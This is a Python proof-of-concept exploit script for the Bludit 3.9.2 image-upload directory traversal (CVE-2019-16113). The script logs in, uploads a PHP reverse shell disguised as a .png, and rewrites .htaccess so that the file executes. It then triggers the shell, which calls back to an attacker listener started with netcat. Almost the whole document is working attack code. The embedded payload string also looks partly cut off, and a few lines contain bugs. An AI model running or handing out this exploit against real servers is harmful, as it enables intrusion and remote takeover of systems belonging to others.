#!/usr/bin/env python3 import sys import string import random import requests import re import socket """ This is a python implementaiton PoC for the Bludit Directory Traversal Image File Upload Vulnerability CVE-2019-16113 Bludit 3.9.2 allows remote code execution via bl-kernel/ajax/upload-images.php because PHP code can be entered with a .jpg (or .png) file name, and then this PHP code can write other PHP code to a ../ pathname. Original credit: christasa # Original discovery sinn3r # Metasploit Module https://www.exploit-db.com/exploits/47699 """ ########################## # Modify as needed TARGET_URI = "http://127.0.0.1" # Target Bludit credentials USERNAME = "user" PASSWORD = "password" # For reverse shell # Setup listner prior to execution: nc -lvp 303 ATTACKER_IP = '127.0.0.1' ATTACKER_PORT = '303' ########################## # Payload to be sent and executed on target # https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php PAYLOAD = ' array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {printit("ERROR: Can\'t spawn shell"); exit(1);} stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated"); break;} if (feof($pipes[1])) {printit("ERROR: Shell process terminated"); break;} $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input);} if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input);} if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input);}} fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) {if (!$daemon) {print "$string\n";}} ?>' # Create a persistent session to ensure BLUDIT-KEY cookie is obtained and sent with subsequent requests SESSION = requests.session() def random_string(): """ Generates a 10 character random string utilized for payload file name """ letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(10)) EXPLOIT_FILENAME = random_string() def get_csrf_uuid(url, get_uuid=0): """ Returns the hidden form field value of jstokenCSRF that is requried for form submissions Optional: this function will also return the uuid hidden form field value if get_uuid is provided during call """ try: response = SESSION.get(url) except requests.exceptions.RequestException as e: print('[!] Falied sending HTTP request: ' , e) sys.exit(1) # Extract the CSRF token value field from thge HTML response with regex csrf_token = re.search('(?<=name="tokenCSRF" value=")([a-z0-9]+)(?=">)', response.text).group(0) # If we need the uuid value as well, extract and return if(get_uuid): uuid_value = re.search('(?<=name="uuid" value=")[a-z0-9]+(?=">)', response.text).group(0) return csrf_token, uuid_value else: # otherwise just return the CSRF token return csrf_token def do_login(): """ Utilizes the declared USERNAME and PASSWORD to create a valid user session """ url = TARGET_URI + '/admin/login.php' # Obtain the CSRF token for login form submission csrf_token = get_csrf_uuid(url) # Attempt the login try: response = SESSION.post(url, data = {'tokenCSRF':csrf_token, 'username': USERNAME, 'password': PASSWORD}) except requests.exceptions.RequestException as e: print('[!] Falied sending HTTP request.', e) sys.exit(1) # Verify that the login was successful if re.search('(?<=)(Bludit - Dashboard)(?=<\/title>)', response.text): print('[+] Login successful!') else: print('[!] Login Failure. Do you have the correct credentials?') sys.exit(1) def exploit(): """ First sends the payload as a multi-part HTTP POST request that creates a randomly named .png file containing malicious PHP before sending a request to modify the content of .htaccess to disable the RewriteEngine and handle .png file requests as application/x-httpd-php MIME type. """ # Obtain the CSRF token for form submission csrf_token, uuid = get_csrf_uuid(TARGET_URI + '/admin/new-content/index.php', 1) url = TARGET_URI + '/admin/ajax/upload-images' # Send request to create malicious .png within the /bl-content/tmp directory files = {'images[]': (EXPLOIT_FILENAME + '.png', PAYLOAD), 'uuid': (None, '../../tmp'), 'tokenCSRF': (None, csrf_token)} try: response = SESSION.post(url, files=files) except requests.exceptions.RequestException as e: print('[!] Falied sending HTTP request: ' , e) sys.exit(1) # Verify it was successful if response.status_code == 200: print('[+] Upload of malicious file ' + EXPLOIT_FILENAME + '.png successful!') else: print('[!] Error creating malicious .png file. Received HTTP response code: ' + response.status_code) sys.ext(1) # Disable RewriteEngine and change MIME type for .png files to application/x-httpd-php files = {'images[]': ('.htaccess', 'RewriteEngine off\nAddType application/x-httpd-php .png'), 'uuid': (None, uuid), 'tokenCSRF': (None, csrf_token)} try: response = SESSION.post(url, files=files) except requests.exceptions.RequestException as e: print('[!] Falied sending HTTP request: ' , e) sys.exit(1) # Verify it was successful if response.status_code == 200: print('[+] Modification of .htaccess successful!') else: print('[!] Error modifying .htaccess. Received HTTP response code: ' + response.status_code) sys.ext(1) def spawn_shell(): """ Send a GET request for the newly created malicious .png file within the /bl-content/tmp directory. If the exploit was sucessful, this will execute our malicious code. """ url = TARGET_URI + '/bl-content/tmp/' + EXPLOIT_FILENAME + '.png' print('[+] Sending request to spawn shell. You may Crtl+C this program once shell is recieved.') try: response = requests.get(url) except requests.exceptions.RequestException as e: print('[!] Falied sending HTTP request: ' , e) sys.exit(1) do_login() exploit() spawn_shell()